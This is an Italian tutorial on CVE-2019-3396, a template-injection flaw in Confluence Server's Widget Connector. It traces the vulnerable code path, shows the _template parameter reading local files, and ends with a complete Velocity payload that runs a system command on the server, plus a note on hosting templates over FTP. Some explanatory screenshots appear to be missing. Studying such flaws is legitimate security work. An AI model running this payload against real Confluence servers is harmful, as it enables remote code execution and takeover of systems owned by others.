
Guida passo-passo per l'analisi e lo sfruttamento di CVE-2019-3396, una vulnerabilità SSTI critica in Confluence Server & Data Center, inclusi debug ed esecuzione di payload RCE.
Prodotto interessato: Confluence Server & Data Center
Versioni interessate: da 6.0.0 a 6.15.4
Gravità: Critical (CVSS ~9.8)
Causa:
Confluence ha il plugin Widget Connector (usato per incorporare video e contenuti esterni come YouTube, Vimeo...).
Questa funzionalità non controlla correttamente l'input dell'utente, portando a Server-Side Template Injection (SSTI).
Un attaccante può inviare un payload dannoso → Confluence esegue il rendering con Velocity template engine → esecuzione di codice sul server.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector, proviamo a cercare nella cartella sorgente di Confluence
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml()
YoutubeRendererurl → link YouTube originale inserito dall'utenteparams → una mappa contenente i parametri di configurazione per il rendering (ad esempio larghezza, altezza, template usato per il rendering…).
getEmbedUrl(), setDefaultParam() e DefaultVelocityRenderService.render()setDefaultParam()
Se _template non è presente → assegna il template predefinito youtube.vm.
=> Possiamo aggiungere manualmente _template al programma
Successivamente entriamo in DefaultVelocityRenderService.render()
Scopo della funzione
Riceve url + i parametri params.
Usa il template Velocity (.vm) per generare HTML incorporato (iframe, embed, …).
Determinazione del template
Se params contiene _template → usa quel template.
Altrimenti → usa il predefinito embed.vm.
Crea il context predefinito con MacroUtils.defaultVelocityContext().
Inserisce tutti i parametri da params nel context:
Se la chiave è tweetHtml → mantiene l'HTML invariato.
Altrimenti → codifica in modo sicuro con GeneralUtil.htmlEncode().
Aggiunge urlHtml, width, height al context (se vuoti, assegna i valori predefiniti 400 × 300).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate e getRenderedTemplateWithoutSwallowingErrors()
getTemplate()
Qui templateName è proprio il _template precedente.
Poi si continua chiamando VelocityEngine.Template()

VelocityEngine si continua chiamando RunimeInstance.getTemplate()
RuntimeInstance (Velocity core)
È il "cuore" del Velocity Engine. Si occupa di:
Inizializzare l'engine (init)
Gestire configurazione, macro, parser, directive, event handler…
E in particolare: gestire le risorse tramite ResourceManager
→ Ciò significa che RuntimeInstance non carica direttamente le risorse, ma delega a resourceManager.
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (personalizzato di Confluence)
È un'implementazione dell'interfaccia ResourceManager.
È responsabile di:
Gestire i resource loader (file loader, classpath loader, URL loader…).
Gestire la globalCache (cache dei template in base a resourceKey).
Eseguire load/refresh dei template (file .vm) quando richiesto da RuntimeInstance.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
Quando la risorsa è nella cache, non viene restituita subito, ma viene chiamato refreshResource(...).
refreshResource confronta il tempo di ultima modifica su disco con quello nella cache.
Se il file è cambiato → la risorsa nella cache viene invalidata → ricaricata dal disco → la cache viene aggiornata.
👉 Quindi non è necessario cambiare manualmente resourceKey. Il meccanismo di refresh garantisce che quando il template cambia, anche la cache venga aggiornata.
Aggiungiamo _template e inviamo nuovamente la richiesta

ResourceLoader (oggetti già inizializzati) in Velocity

FileResourceLoader e ClasspathResourceLoaderFileResourceLoaderViene chiamato StringUtils.normalizePath() per bloccare il path traversal

normalizePath come in figura
/WEB-INF/web.xml e possiamo vedere che il file è stato caricato con successo.
/../ è bloccatoClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() di /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource() che restituisce un URL, cioè l'oggetto può essere recuperato.

url.openStream() per ottenere i dati


Payload da eseguire
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → esegue il comando di sistema "id" su Ubuntu.python3 -m pyftpdlib -p 2005

Esecuzione:
